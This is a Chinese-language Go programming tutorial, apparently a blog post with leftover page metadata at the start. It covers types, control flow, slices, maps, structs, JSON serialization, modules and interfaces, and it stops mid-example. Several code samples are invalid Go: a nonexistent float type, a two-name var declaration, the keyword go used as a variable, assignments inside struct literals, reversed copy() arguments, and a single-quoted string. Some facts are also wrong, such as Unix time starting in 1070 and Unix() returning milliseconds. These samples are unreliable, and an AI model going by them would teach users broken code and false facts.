*/\n标识符命名规范：第一个字母必须是字母或者下划线，而且不能是关键字，特殊符号只支持下划线\n常用的数据类型有：\n整型：int（有符号），uint（无符号），rune，int/unint(8,16,32,64)\n浮点型：float(32,64)，comple\n布尔型：bool（true，false）（bool默认值为false）\n字符串型：string\n数组：array\n结构体：struct\n变量\nvar abc string = \u0026ldquo;hallo\u0026rdquo;\n注意：如果声明变量了，但是没有初始化，那个该变量的值为系统默认设置的值（零值）\n定义多个变量\nvar abc xyz string = \u0026ldquo;hallo\u0026rdquo;,\u0026ldquo;word\u0026rdquo;","keywords":["golang"],"articleBody":"Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言\ngo语言确保达到静态编译语言的安全和性能的同时，又达到动态语言的开发维护效率\nGo语言天生支持并发，提供自动垃圾回收机制\ngo的源文件是xxx.go\n值得一提的是哔哩哔哩网站后端就是用golang开发，这个足以说明golang的并发功能有多强大了\n检查是否安装成功go\ngo version\n环境配置\nGOROOT对应着go的安装目录\nGOPATH对应着go的源代码目录（可以放多个目录）\nGOBIN对应着 go install安装和编译的二进制程序的安装目录\n检查go环境\ngo env\n源程序默认为UTF-8编码，;可省略\n第一个go程序\npackage main\rimport \"fmt\"\rfunc main(){\rfmt.Println(\"hallo golang\")\r}\rgo run hallo.go\n当然作为一个编译型语言，编译成二进制文件是支持的\ngo build hallo.go\n作为一个静态强类型语言，如果学过java的话，理解还是很轻松的\n定义包 package : 必须在源程序上声明该文件是属性那个包的\n引入包 import : 导入包，引用外部包开扩展功能\n注释\n// 单行\n/* 多 行 */\n标识符命名规范：第一个字母必须是字母或者下划线，而且不能是关键字，特殊符号只支持下划线\n常用的数据类型有：\n整型：int（有符号），uint（无符号），rune，int/unint(8,16,32,64)\n浮点型：float(32,64)，comple\n布尔型：bool（true，false）（bool默认值为false）\n字符串型：string\n数组：array\n结构体：struct\n变量\nvar abc string = “hallo”\n注意：如果声明变量了，但是没有初始化，那个该变量的值为系统默认设置的值（零值）\n定义多个变量\nvar abc xyz string = “hallo”,“word”\n而且go会根据提供值来判断数据类型是什么，例如：\nvar xyz = 666\ngo还提供一个特殊的运算符 :=，可以在变量不被声明的情况下使用，例如：\nhallo,word := “hallo”, “word”\n:=在实质开发中会经常使用的\ngo类型强制转换（和java一样，高精度转为低精度会失真）\nvar abc int = 666\nvar xyz float = 3.14\nvar gg string = “123”\nfloat(abc) // 强制转换为浮点数\nint(xyz) // 强制转为整型，会失去小数点之后的数值\nstrconv.Itoa(abc) // 强制转为字符串\nstrconv.Atoi(gg) // 强制转为整型\n注意：同一作用域中不能重复声明，而且必须要声明变量才能使用，而且必须要使用\n声明多个变量\nvar abc,xyz,hallo int\nvar(\rabc int\rxyz float\r)\r常量\n和其他语言一样，常量表示的就是不可修改的变量\nconst abc, xyz int = 123, 666\ngo还提供了一种特殊的定义方式，例如：\nconst(\ra = \"hi\"\rb = \"hallo\"\r)\r如果声明多个常量时，省略了值那么就是表示和第一行值相同，例如：\nconst(\ra = 123\rb\rc\r)\r注意：定义的时候必须赋值\niota常量计数器\nconst(\ra = iota\rb\r_\rd\r)\riota在出现const关键字时重置为0，const每增加一行常量声明，iota加1（自增长），_（下划线，空白标识符（占位），常用于忽略函数多个返回值，例如err）为跳过某些值\n类型\ngolang的数据类型分为基本数据类型和复合数据类型\n基本数据类型有整型，浮点型，字符串，布尔型\n复合数据类型有数组，函数，切片，结构体，字典（map），通道（channel），接口\n注意：像整型有很多种，像int8，int16，int32，uint8，uint16等等，如果直接写int的话，在不同的操作系统中是不一样的，32为操作系统的int指的是int32，64位操作系统指int64\n可使用unsafe.Sizeof查看变量的长度（在内存中的存储空间），例如：\nvar num100 = 100\rfmt.Println(unsafe.Sizeof(num100))\r值类型：值类型被声明变量后，不管有没有赋值，都会分配内存给它，也就是说值类型的声明不需要分配内存，因为在声明的时候已经分配好了内存\n引用类型：变量存储的是一个地址，地址对应的内存空间就是真正存储数据的，引用类型必须申请内存才能使用，例如make()\n自定义类型：可以使用type关键字来自定义类型，例如：type Testint int // 将Testint定义为int类型\n类型转换\n注意：高位转低位会出现精度丢失，例如\nvar abc int16 = 666\rfmt.Println(int8(abc)) // -102\r数字字面量语法\ngo1.13版本+，引入了数字字面量语法，方便使用二进制，八进制，十六进制的格式定义数字，例如:\nabc := 0b10100010101000001011\rfmt.Println(abc) // 666123\r0b表示二进制\n0o表示八进制\n0x表示十六进制\n进制的转换\nvar abc int64 = 100\rfmt.Println(abc)\ra := strconv.FormatInt(abc, 2) // 二进制\rfmt.Println(a)\rb := strconv.FormatInt(abc, 8) // 八进制\rfmt.Println(b)\rc := strconv.FormatInt(abc, 10) // 十进制（默认）\rfmt.Println(c)\rd := strconv.FormatInt(abc, 16) // 十六进制\rfmt.Println(d)\r浮点型（也就是小数）\nGo的浮点型分为float32和float64\nfloat32的浮点数的最大范围为3.4028234663852886e+38，可用math.MaxFloat32输出查看\nfloat64的浮点数的最大范围为1.7976931348623157e+308，可用math.MaxFloat64输出查看\nvar pi = math.Pi\rfmt.Printf(\"%f\\n\", pi) // 默认小数点6位\rfmt.Printf(\"%.10f\\n\", pi) // 指定输出小数点后几位\r字符串\ngo语言字符串编码为UTF-8\n例如： hallo := “你好 Word”\n可输出多行字符串\nvar str123 = `第一行\r第二行\r第三行`\rfmt.Println(str123)\rlen()：字符串长度\n+或fmt.Sprintf：拼接字符串\nstrings.Index()：返回字符在字符串中的位置\nstrings.contains：返回是否包含某个字符\n布尔类型\nvar abc = false var xyz = true\nbyte和rune类型\n组成字符串的元素叫字符，可遍历字符串获取字符\ngo语言的字符分为2种类型，分别为uint8（byte，表示ACII码的一个字符）和rune类型（表示一个UTF-8字符）\n因此使用非ACII码的字符，需要使用rune类型（一个汉字占3个字节，字母只占一个字节）\n注意：修改字符串必须将其转换为byte或者rune类型，完成修改后再转回string，例如：\nhallo := \"你好,golang\"\rabc := []rune(hallo)\rabc[0] = '您'\rfmt.Println(string(abc))\r整型转字符串类型\nvar a int = 100\rb := fmt.Sprintf(\"%d\", a)\rfmt.Printf(b)\r字符串转整型或者浮点型\nstr := \"666\"\rstr1 := \"3.14\"\rstrScore, err := strconv.Atoi(str)\rfmt.Println(strScore, err) // err为转换失败的信息\rnum, err := strconv.ParseInt(str, 10, 64)\rfmt.Println(num, err)\rnum1, err := strconv.ParseFloat(str1, 10)\rfmt.Println(num1, err)\r运算符\n+：加，-减，*乘，/除，%求余\n注意：在go中，++和–是单独使用的，是没有++i的，正确写法例如：\nvar i int = 64\ri++\r// ++i 错误\rif判断\npackage main\rimport \"fmt\"\rfunc main(){\rabc := 123\rif abc \u003e666{\rfmt.Println(\"abc大于666\")\r} else if abc \u003c 666{\rfmt.Println(\"abc小于666\")\r}else{\rfmt.Println(abc)\r}\r}\rif的另一种写法：\nif abc:=123; xyz\u003e=100{\rfmt.Println(\"abc\u003e=100\")\r}\rswitch判断（用于对大量的值进行判断）\nxyz := \"abc\"\rswitch xyz {\rcase \"abc\":\rfmt.Println(\"1\")\rcase \"123\":\rfmt.Println(\"2\")\rdefault:\rfmt.Println(xyz)\r}\rswitch判断的另一种使用方法\nswitch abc := \"hallo\"; abc {\rcase \"hallo\":{\rfmt.Println(\"hallo\")\rbreak\r// 不用break也能跳出switch语句\r}\rcase \"hi\",\"hello\":{\r// 多个值用逗号分隔\rfmt.Println(\"hi\")\rfmt.Println(\"hello\")\rbreak\t}\rdefault:{\rfmt.Println(\"hallo word\")\rbreak\r}\r}\r如果想继续执行下一个case，可以使用fallthrough语句（switch最后一个分支不要使用fallthrough语句，否则报错，而且不能在case语句中间使用，必须是在case语句最后一个语句中使用）例如：\nfunc hallo() int {\rabc := 100 + 666 + 123\rreturn abc\r}\rfunc main() {\rswitch abc := hallo(); {\rcase abc \u003e 500:\rfmt.Printf(\"num \u003c 500\\n\")\rfallthrough\rcase abc \u003e 666:\rfmt.Printf(\"num \u003c 666\\n\")\rfallthrough\rcase abc \u003e 123:\rfmt.Printf(\"num \u003c 123\\n\")\r}\r}\rfor循环\nfor abc := 1; abc\u003c10 ; abc++{\rfmt.Println(abc)\r}\rgolang是没有while循环语句，但是可以使用for循环来做出类似的功能\nabc := 1\rfor abc\u003c10 {\rfmt.Println(abc)\rabc++\r}\rfor循环可用break，goto，return，panic语句退出循环\nbreak跳出循环\n一次性跳出多层循环 break LOOP\ncontinue是退出当前循环\ngoto是无条件转移到goto语句的行，可用于跳出循环，条件转移，例如：\nfunc main() {\rvar abc int = 123\rLOOP:\rfor abc \u003c 666 {\rif abc == 233 {\rabc = abc + 1\rgoto LOOP\r}\rfmt.Printf(abc)\rabc++\r}\r}\rreturn可用于函数或者方法中，用于跳出当前函数或者方法，如果return语句在main函数中，将是终止程序运行，在普通函数中，将是终止当前函数执行（return后面的程序不执行了）\n当return没有带返回值，将是终止，如果带返回值，那么就是终止并且返回值\ngo语言并没有像java那样的异常嵌套机制，go语言用panic-and-recover来替代\npanic可中断原来的流程控制，某个函数调用了panic，将终止该函数的执行，如果有延迟函数（defer）则执行该defer函数，返回其调用者，一直到goroutine（goroutine是go语言的轻量级线程，由runtime管理，go语言会智能的将goroutine中的任务合理分配给每个CPU，go程序在运行时，会给main()函数建立一个默认goroutine，用go关键字创建goroutine，例如：go 函数名(参数)）的全部函数都返回，然后打印panic信息，堆栈信息，最后到终止程序\npanic：在任何地方都可以触发 recover：只在用了defer修饰的函数内有效\n注意：平时不要用panic-and-recover，而是errors，只有当程序不能继续执行了才用，例如出现不可恢复的错误，不能再让它继续执行了，这里举个例子：\nfunc abc() {\rfmt.Println(\"hallo word\")\r}\rfunc hallo() {\rdefer func() {\rerr := recover()\rif err != nil {\rfmt.Println(\"hallo word\")\r}\r}()\rpanic(\"runtime error!!!\")\r}\rfunc main() {\rabc()\rhallo()\r}\rerrors（在go语言中，发生错误，是通过返回errprs值，来对errprs值进行修改或者忽略，当没有错误时，rrprs值为nil，因此可以通过判断errors的值是否为nil来知道是否出现错误，以及处理错误）\nfor range循环（可用于遍历数组，字符串，字典（map），切片（数组），channel（通道））\nfor range循环数组，字符串，切片返回索引和值，字典（map）返回键和值，channel（通道）返回通道内的值\n例如：\nvar abc = \"hallo word\"\rfor key, index := range abc {\rfmt.Printf(\"%v:%c,\", key, index)\r}\r数组（在go中，数组是指同一系列，同一类型的数据集合，组成数组的数据叫元素，go语言的数组的元素是被分配到连续的内存地址中，索引元素是速度非常快的）\nvar abc [16]int // 定义int类型，元素个数为16的数组\rabc[0] = 10\rabc[1] = 66\rfmt.Println(abc)\rvar xyz = [3]string {\"hallo word\",\"golang\",\"hahaha\"}\rfmt.Println(xyz)\rvar a = [...]int{1, 2, 3, 4, 5} // 自动判断数组长度\rfmt.Println(a)\rb := [...]int{1: 66, 3: 100}\rfmt.Println(b)\r遍历数组\nhallo := [...]int{1: 66, 3: 100}\rfor i := 0; i \u003c len(hallo); i++ {\rfmt.Print(hallo[i], \"\\n\")\r}\r也可以用for range方法\n数组是值类型，将数组赋值给另一个变量，会生成副本，修改另一个变量，只会修改副本，不会修改原来的数组，例如：\nhallo := [...]int{1: 66, 3: 100}\rabc := hallo\rabc[1] = 100\rfmt.Println(hallo, abc)\r可以看到在golang中数组不是引用类型\n二维数组\nvar abc = [...][2]int{{100,123},{222,333},{666,60}}\rfmt.Println(abc)\rfor i := 0; i \u003c len(abc); i++ {\rfor j := 0; j \u003c len(abc[0]); j++ {\rfmt.Println(abc[i][j])\r}\r}\r数组的初始值为nil（nil表示为空）\n知识点：指针和引用类型的默认值为nil，需要分配空间\n切片\n切片和数组类似（切片是基于数组类型进行一层封装），不过切片是引用类型（调用的只是在内存中的地址，指针）的\nvar hallo = []int{100, 2333, 666}\rabc := hallo\rabc[0] = 123\rxyz = abc[1:2]\rfmt.Println(hallo, abc, xyz)\rfor i := 0; i \u003c len(abc); i++ {\rfmt.Print(abc[i], \"\\n\")\r}\r长度用len()获取，容量用cap()获取\nmake函数创建切片\nvar data = make([]int, 2, 8) // int类型，长度为2，容量为8\rfmt.Printf(\"长度：%d, 容量%d\", len(data), cap(data))\rappend()切片扩容\nvar hallo = []int64{100, 2333, 666}\rhallo = append(hallo, 123)\rfmt.Println(hallo) // 100, 2333, 666, 123\rabc := []int64{1,3,4,5,6}\rhallo = append(hallo, abc...) // 将两个切片合并\rfmt.Println(hallo) // 100,2333,666,123,1,3,4,5,6\rcopy()函数复制切片（可以理解为深拷贝）\nvar hallo = []int64{100, 2333, 666}\rvar abc = make([]int64, len(hallo), len(hallo))\rcopy(hallo, abc)\rabc[0] = 4\rfmt.Println(hallo,abc)\r删除切片的值（golang中并没有删除切片的值的方法，不过可以用append()实现）\nvar hallo = []int64{100, 2333, 666}\rhallo = append(hallo[:2], hallo[3:]...)\rfmt.Println(hallo)\r遍历切片和数组一样\nmap（字典）\nmap（字典）是无序的基于key-value的数据结构，在golang中map是引用类型\nvar abc = make(map[string]int) // string是键的类型，int是键对应的值的类型\rabc[\"user\"] = 123\rabc[\"pass\"] = 666\rfmt.Println(abc)\rfmt.Println(abc[\"pass\"])\r或者\nvar hallo = map[string]string {\r\"user\":\"root\",\r\"pass\":\"abchahaha\",\r}\rfmt.Println(hallo)\r遍历map\nvar hallo = map[string]string {\r\"user\":\"root\",\r\"pass\":\"abchahaha\",\r}\rfor key, value := range hallo {\rfmt.Println(\"key:\", key, \" value:\", value)\r}\r判断map中某个键值是否存在\nvar hallo = map[string]string {\r\"user\":\"root\",\r\"pass\":\"abchahaha\",\r}\rvalue, yes := hallo[\"pass\"] // 返回2个值。value为返回结果，yes为是否存在该键值\rfmt.Println(value, yes)\rdelete()删除键值对\nvar hallo = map[string]string {\r\"user\":\"root\",\r\"pass\":\"abchahaha\",\r}\rdelete(hallo, \"pass\")\rvalue, no := hallo[\"pass\"]\rfmt.Println(value, no)\r通道\nGolang中还有一个特殊的类型chan，这个类型一般用来线程之间的数据传输\n声明chan\nvar a chan int a := make(chan int, 1) a \u003c- 999 b := \u003c- a\nchan底层是指针，指针初始值为空，需要实例化，make()就是实例化了chan\n\u003c- 999：将值放进通道\n\u003c- a : 将 999 从通道中提取出来\n函数\n函数通过func关键字来声明和定义函数\nfunc hallo(a ...string){\rfmt.Println(a)\r}\rfunc main(){\rhallo(\"hallo golang!!!\")\r}\r匿名函数\nfunc main() {\rfunc () {\rfmt.Println(\"我是匿名函数\")\r}()\r}\r因为没有函数名，没法像正常函数那样被调用，需要将其赋值或者作为立即执行函数\n返回值\nfunc hallo(a, b int) (int,int,int) {\rx := a+b\ry := a-b\rz := a*b\rreturn x, y, z\r}\rfunc main(){\rabc, xyz, go := hallo(6,3)\rfmt.Println(abc, xyz, go)\r}\r当然也是可以自动返回\nfunc hallo(a, b int) (x int,y int,z int){}\ngolang的全局变量和局部变量\n全局变量：常驻内存中，污染全局\n局部变量：不常驻内存中，不污染全局\n闭包：让变量可以常驻内存的同时，不污染全局\n闭包的写法：\nfunc hallo() func() int {\ri := 123\rreturn func() int {\rreturn i + 666\r}\r}\rfunc main() {\rvar abc = hallo()\rfmt.Println(abc())\r}\r或者\nfunc hallo() func(a int) int {\rvar i = 10\rreturn func(a int) int {\ri = i + a\rreturn i\r}\r}\rfunc main() {\rvar abc = hallo()\rfmt.Println(abc(666))\r}\rdefer修饰语句可以延迟执行语句，例如：\nfmt.Println(\"1\")\rdefer fmt.Println(\"2\")\rfmt.Println(\"3\")\r如果使用多个defer修饰语句，会逆序执行（先使用defer最后执行，最后使用defer，最早执行（相对于使用defer修饰的语句））\n在golang中的time包提供了时间显示和测量时间的函数\n获取时间（年-月-日）例如：\ntimedata := time.Now()\ryear := timedata.Year()\rmonth := timedata.Month()\rday := timedata.Day()\rfmt.Printf(\"%d-%02d-%02d \\n\", year, month, day)\r格式化日期（在golang中，并且不是使用Y-m-d H:M:S模板格式化，而且是使用Go的诞生时间：2006年1月2日 15点04分）\n例如：\ntimedata := time.Now()\rfmt.Println(timedata.Format(\"2006-01-02 15:04:05\")) // 24小时制\rfmt.Println(timedata.Format(\"2006-01-02 03:04:05\")) // 12小时制\r获取时间戳（时间戳是自1070年1月1日08:00:00GMT至今的总毫秒数，又叫Unix时间戳）\n例如：\ntimedata := time.Now()\runixTime := timedata.Unix() // 毫秒时间戳\runixNaTime := timedata.UnixNano() // 纳秒时间戳\rfmt.Println(unixTime,unixNaTime)\r时间戳转正常日期\nvar abc = time.Unix(1642746020, 0)\rvar xyz = abc.Format(\"2006-01-02 15:04:05\")\rfmt.Println(xyz)\r正常日期转时间戳\nvar abc = \"2022-01-21 14:21:55\"\rvar tmp = \"2006-01-02 15:04:05\"\rtimedata, err := time.ParseInLocation(tmp, abc, time.Local)\rfmt.Println(timedata.Unix())\r时间的间隔（两个时间之间的间隔，单位为纳秒，time.Duration是time定义的类型，表示一段时间间隔，最大可以表示290年）\ndata := time.Now()\rabc := data.Add(time.Hour)\rxyz := data.Add(time.Second)\rfmt.Println(abc) // 输出1个小时后的时间\rfmt.Println(xyz) // 输出1秒后的时间\r指针\ngolang的指针有3个概念，地址，类型，取值\n\u0026：获取地址，*：根据地址取值\na := 100\rb := \u0026a\rfmt.Println(b) // 获取地址\rfmt.Println(*b) // 根据地址取值\r*b = 666 fmt.Println(a) // 根据地址修改值，改变内存中的值，会改变原来的变量值\r注意：指针必须在创建内存后才能使用（其他引用类型也是一样，需要用make分配空间或者在定义的时候分配空间，值类型在声明的时候已经分配了默认空间，因此值类型不用分配空间）\nnew关键字分配内存（new是一个内置函数，调用new函数得到的是指定类型的指针，并且指针对应的值为该类型的零值）\nabc := new(int)\rfmt.Printf(abc)\rfmt.Println(*abc)\rmake和new的区别：虽然这两个都是用来内存分配的，不过make是用于map，channel，切片（slice）的初始化，返回的值为这3个类型的本身，而new是用来类型的内存分配，内存对应的值为类型的零值，返回的值为指向类型的指针\nGolang语言是面向对象语言又不是，虽然有类型和方法，也支持面向对象的编程风格，但是go没有对象（object）这个类型，也没有类（class）的概念，在go中用结构体替代面向对象语言的类（class）\ntype关键字（go通过type关键字定义结构体，结构体是值类型）\n自定义类型（type也可以来定义自定义类型）\ntype dataStr string\rdataStr自定义类型具备string类型的特性\ntype dataStr string\rfunc main() {\rvar abc dataStr = \"hallo word\"\rfmt.Printf(\"%v %T\", abc, abc)\r}\r类型别名（只是别名，实质上还是同一个类型）\ntype dataStr = string\r结构体的定义以及初始化（type关键字和struct关键字）\ntype Data struct{\ruser string // 定义结构体\rage int\rpass string\r}\rfunc main(){\rvar data Data // 实例化\rdata.user = \"root\"\rdata.age = 20\rdata.pass = \"123456789\"\rfmt.Printf(\"%#v\", data)\r}\r也可以使用new关键字实例化\nfunc main(){\rvar data = new(Data) // 实例化\rdata.user = \"root\"\r// 等于 (*data).user = \"root\"\rdata.age = 20\rdata.pass = \"123456789\"\rfmt.Printf(\"%#v\", data) // 结构体指针\r}\r在golang中支持直接对结构体指针使用，来访问结构体的属性\n另外几种实例化结构体的方法\nvar data = \u0026Data{\rdata.user = \"root\",\rdata.age = 20,\rdata.pass = \"123456789\",\r}\rfmt.Printf(\"%#v\", data)\rvar data = Data{\rdata.user = \"root\",\rdata.age = 20,\rdata.pass = \"123456789\",\r}\rfmt.Printf(\"%#v\", data)\rvar data = Data{\r\"root\",\r20,\r\"123456789\",\r}\rfmt.Printf(\"%#v\", data)\r结构体的方法和接收\ntype Data struct{\r// 定义结构体\ruser string age int\rpass string\r}\rfunc (d Data) DataMain() {\r// 定义方法\rfmt.Print(\"user:\", d.user)\rfmt.Print(\"age:\", d.age)\rfmt.Print(\"pass:\", d.pass)\rfmt.Println()\r}\rfunc (d *Data) GetData(user string, age int, pass string) {\r// 接收方法，因为结构体是值类型，需要使用指针\rd.user = user\rd.age = age\rd.pass = pass\r}\rfunc main() {\rvar data = Data{\r\"root\",\r20,\r\"123456789\",\r}\rdata.DataMain()\rdata.GetData(\"admin\", 22, \"abc12345\")\rdata.DataMain()\r}\r输出结果为：\nuser:rootage:20pass:123456789 user:adminage:22pass:abc12345\n自定义类型方法（类型一样可以定义方法）\ntype dataStr string\rfunc (d dataStr) dataInfo(){\rfmt.Println(\"hallo golang\") // 自定义类型的自定义方法\r}\rfunc main() {\rvar abc dataStr = \"hallo word\"\rabc.dataInfo()\r}\r结构体匿名字段（go允许字段在声明的时候没有字段名，只有类型，因为结构体要求字段名唯一，因此在同一个结构体中同种类型的匿名字段只能出现一次）\ntype Data struct{\r// 定义结构体\rstring int\rstring\r}\rfunc main(){\rvar data = Data{\r// 结构体匿名字段\r\"root\",\r20,\r\"123456789\",\r} }\r注意：结构体的字段类型可以是任意类型（包括自定义类型，结构体类型），但是如果类型是引用类型（例如map，指针）需要先使用make分配空间再使用\n结构体嵌套\ntype Data struct{\r// 定义结构体\ruser string age int\rpass string\rdatamain DataMain //嵌套DataMain结构体\r}\rtype DataMain struct{\r// 定义结构体\remail string\rphone string\r}\rfunc main() {\rvar d Data\rd.user = \"xiaochen\"\rd.age = 20\rd.pass = \"123456789\"\rvar datamain DataMain\rdatamain.email = \"a@xiaochenabc123.test.com\"\rdatamain.phone = \"18888888888\"\rd.datamain = datamain\rfmt.Printf(\"%#v\", d)\r}\r输出结果为main.Data{user:“xiaochen”, age:20, pass:“123456789”, datamain:main.DataMain{email:“a@xiaochenabc123.test.com”, phone:“18888888888”}}\n嵌套结构体可能出现字段名相同，go默认先从父结构体查找，如果没有再到子结构体中查找，这时如果子结构体存在相同的字段，会报错，因为不知道该设置哪个字段（所以字段名要全局唯一）\n结构体继承（可以理解为类的继承，实质效果和结构体嵌套类似）\ntype Data struct{\r// 定义结构体\ruser string age int\rpass string\rDataMain //通过结构体嵌套实现继承\r}\rfunc (data Data) datamax() {\rfmt.Printf(\"email: %v \\n\", data.email)\r}\rtype DataMain struct{\r// 定义结构体\remail string\rphone string\r}\rfunc (datamain DataMain) dataabc() {\rfmt.Printf(\"email: %v \\n\", datamain.email)\r}\rfunc main() {\rvar data = Data{\ruser: \"root\",\rDataMain: DataMain{\remail: \"a@xiaochenabc123.test.com\",\r},\r}\rdata.datamax();\rdata.dataabc();\r}\r可以看到Data结构体拥有DataMain结构体的方法\n注意结构体的字段首字母要大写，表示公有，小写为私用\ngo结构体和json序列化\n将结构体转换为json叫json序列化，将json转换为结构体叫json反序列化\njson序列化和json反序列化主要依赖于encoding/json包的json.Marshal()方法和json.Unmarshal()方法\ntype Data struct{\r// 定义结构体\rUser string Age int\rPass string\r}\rfunc main() {\rvar data = Data{\rUser: \"root\",\rAge: 20,\rPass: \"123456789\",\r}\r// 结构体转换成Json（返回值为是byte类型的切片）\rjsonByte, _ := json.Marshal(data)\r// byte类型转string类型\rjsonStr := string(jsonByte)\rfmt.Printf(string(jsonByte))\rfmt.Printf(jsonStr)\r}\rjson字符串转结构体\ntype Data struct{\r// 定义结构体\rUser string Age string\rPass string\r}\rfunc main() {\r// Json字符串转换成结构体\rvar str = `{\"User\":\"root\",\"Age\":\"20\",\"Pass\":\"123456789\"}`\rvar data = Data{}\r// 第一个参数是传入byte类型的json字符串，第二个参数需要传入转换的地址\rerr := json.Unmarshal([]byte(str), \u0026data)\rif err != nil {\rfmt.Printf(\"转换失败 \\n\")\r} else {\rfmt.Printf(\"%#v \\n\", data)\r}\r}\r结构体标签（tag）\ntag是结构体的元信息，可以在运行时通过反射的机制读取出来，tag在结构体字段后面定义，用反引号包裹，tag是以键值对的方式组成，不同的tag用空格分隔\ntype Data struct{\r// 定义结构体，并且使用结构体标签\rUser string `json:\"user\"`\rAge string `json:\"age\"`\rPass string `json:\"pass\"`\r}\rfunc main() {\rvar data = Data{\rUser: \"root\",\rAge: \"20\",\rPass: \"123456789\",\r}\rjsonByte, _ := json.Marshal(data)\r// byte类型转string类型\rjsonStr := string(jsonByte)\rfmt.Printf(jsonStr)\rvar str = `{\"User\":\"admin\",\"Age\":\"22\",\"Pass\":\"abc12345\"}`\rvar datajson = Data{}\rerr := json.Unmarshal([]byte(str), \u0026datajson)\rif err != nil {\rfmt.Printf(\"转换失败 \\n\")\r} else {\rfmt.Printf(\"%#v \\n\", datajson)\r}\r}\r包(package)是多个源码的集合，是一种代码复用方案，像fmt，time，encoding/json都是go的内置包\ngo中的包分为3种，内置包（go提供的内置包，可以直接引入使用），自定义包（自己写的包），第三方包（也是自定义包，不过不是自己写的，需要下载到本地才能使用）\n包管理器（go mod）（在1.11版本之前需要使用自定义包的话，需要将项目放在GOPATH环境变量中，1.13之后将彻底不需要GOPATH）\n初始化项目（生成go.mod来管理项目的依赖（包括go版本和要使用到的包））\ngo mod init go_test\n如果要引入go_test项目的包，需要import “go_test/包名”，包名根据package设置\npackage 包名\n注意：包名不能和文件夹的名字相同，包名不能出现-符号，一个文件夹中直接包含的文件只能归1个package，同一个package的文件不能在多个文件夹中，而且只有引入了包名为main的程序，编译后会得到可执行文件，如果没有包含main包的程序编译不会得到可执行文件\ninit()初始化函数：导入包，自动触发包内部的init()函数的调用\ngo会先从main包开始检查其导入的所有包，每个包又可能导入了其他包，因此形成了一个树状包引入关系，根据引入的顺序来决定编译的顺序\n最后导入的包最先初始化并且调用其init()函数\ngolang第三包仓库https://pkg.go.dev/\ngo install 编译并安装包（当存在GOBIN环境变量时，编译完成的二进制文件放到$GOBIN下，如果不存在默认放到GOPATH/bin下，源码默认在$HOME/sdk下）\ngo install github.com/tal-tech/go-zero@1.4.1\ngo get 全局安装包（Go 1.17版本中已被弃用，推荐使用go install ）\ngo get github.com/tal-tech/go-zero\ngo mod download 全局安装包\n依赖自动下载到$GOPATH/pkg/mod目录，多个项目可共享缓存的mod，使用该命令之前需要在项目引入第三方包\ngo mod vendor 将依赖复制到当前项目的vendor中，需要在项目引入第三方包\ngo mod vendor\n其他命令\ngo mod edit 编辑go.mod文件\ngo mod tidy 自动处理go.mod中多引入和少引入的包（没有使用的module移除，缺少引入的module将自动引入构建，确保go.mod与模块中的源代码一致）\ngo mod graph 打印模块依赖图\ngo mod verify 校验依赖，检查下载的第三方库是否本地修改，如果没有修改则返回0（校验成功），否则返回非0（校验失败）\ngo mod why 解释为啥需要包\n使用Modules\nGO111MODULE：1.12版本之前的，要设置环境变量GO111MODULE，之后就不需要了通过设置GO111MODULE来开启或者关闭go module\nGO111MODULE = off 禁用go module，编译时在GOPATH和vendor中查找包 GO111MODULE = on 启用go module，编译时忽略GOPATH和vendor，只根据go.mod下载依赖 GO111MODULE=auto 默认值，当项目在GOPATH/src之外，并且项目的根目录有go.mod文件时启用go module\nwindows设置GO111MODULE\nset GO111MODULE=on|off|auto\nMacOS或者Linux设置GO111MODULE\nexport GO111MODULE=on|off|auto\noff和auto，下载的包安装在GOPATH/src目录下\nno，下载的包安装在GOPATH/pkg/mod/下，也在这个目录下查找包（不在GOPATH/src查找）\n也可以手动修改环境变量，GO111MODULE变量，值为on|off|auto\nGOPROXY：GO代理服务器，是Go官方提供的中间代理的方式来包下载，需要设置GOPROXY环境变量\n常见的代理服务器地址：\ngoproxy.io； goproxy.cn：由国内的七牛云提供\n一键设置GOPROXY：\nwindows：go env -w GOPROXY=https://goproxy.cn,direct\nLinux或者macOS：export GOPROXY=https://goproxy.cn\n注意：go语言在1.13版本后，GOPROXY默认为https://proxy.golang.org，如果下载缓慢或者无法访问请设置为https://goproxy.cn\n也可以手动修改环境变量，GOPROXY变量，值为https://goproxy.cn\n依赖的安装（注意：需要移除把项目从GOPATH移除（GOPATH下不允许有go.mod），否则报错$GOPATH/go.mod exists but should not）\ngo get下载指定版本的依赖包\ngo get -u 升级项目中的包到最新的次要版本或者修订版本 go get -u=patch 升级项目中的包到最新的修订版本 go get 包名@版本号 下载对应包的指定版本或者将对应包升级到指定的版本，版本号可以是v1.x.x之类的，也是可以是git的分支，tag，git提交的哈希值\n手动修改go.mod，执行go mod download或者使用go get\ngo的接口（interface）是一种抽象数据类型，接口定义了对象的行为规范，只负责定义规范，并不实现，接口的规范实现由具体的对象来实现\n接口是一组函数method的集合，接口不能存在任何变量，接口中的全部方法都没有方法体\ntype TestData interface{\r// 定义一个TestData接口\rtest()\rdata()\r}\rtype Data struct {\r// 实现接口\rUser string\r}\rfunc (d Data) test() {\rfmt.Println(d.User, \"Test\")\r}\rfunc (d Data) data() {\rfmt.Println(d.User, \"Data\")\r}\rfunc main() {\rvar datamain TestData = Data{\r\"root\",\r}\rdatamain.test()\rdatamain.data()\r}\r空接口（接口允许不定义任何方法，不定义任何方法的接口就是空接口）\ntype Maxdata interface {\r// 定义一个空接口，空接口表示没有约束，任何类型都能实现空接口\r}\rfunc main() {\rvar abc Maxdata\rvar str = \"hallo word\"\rabc = str\rfmt.Println(abc)\r}\rGo1.18版本已添加any关键字来表示泛型\nfunc main(){\rvar abc any\rabc = 'hallo any'\rfmt.Println(abc)\r}\r实质上any还是空接口interface{}的类型别名，type any = interface{}\n空接口也可用来当做类型，表示任意类型（类似于Java中的Object类型）\n空接口还可以用来当做函数的参数，表示可以接收任意类型的函数参数\nfunc Data(abc interface{}) {\rfmt.println(abc)\r}\r使用空接口来实现可以保存任意类型的map\nvar dataInfo = make(map[string]interface{})\rdataInfo[\"uesr\"] = \"root\"\rdataInfo[\"age\"] = 20\rdataInfo[\"pass\"] = \"123456789\"\r使用空接口来实现一个空接口类型的切片\nvar dataslice = make([]interface{}, 6, 6)\rdataslice[0] = \"root\"\rdataslice[1] = 20\rdataslice[3] = \"123456789\"\r类型断言\n接口的值是由具体类型和具体类型的值组成，称为接口的动态类型和动态值\n判断空接口的值的类型，需要使用类型断言，语法格式为：类型为interface{}的变量.(断言这个变量可能是的类型)\n例如：\nvar abc interface{}\rabc = 123\rvalue, isInt := abc.(int)\rif isInt {\rfmt.Println(\"int类型, 值为：\", value)\r} else 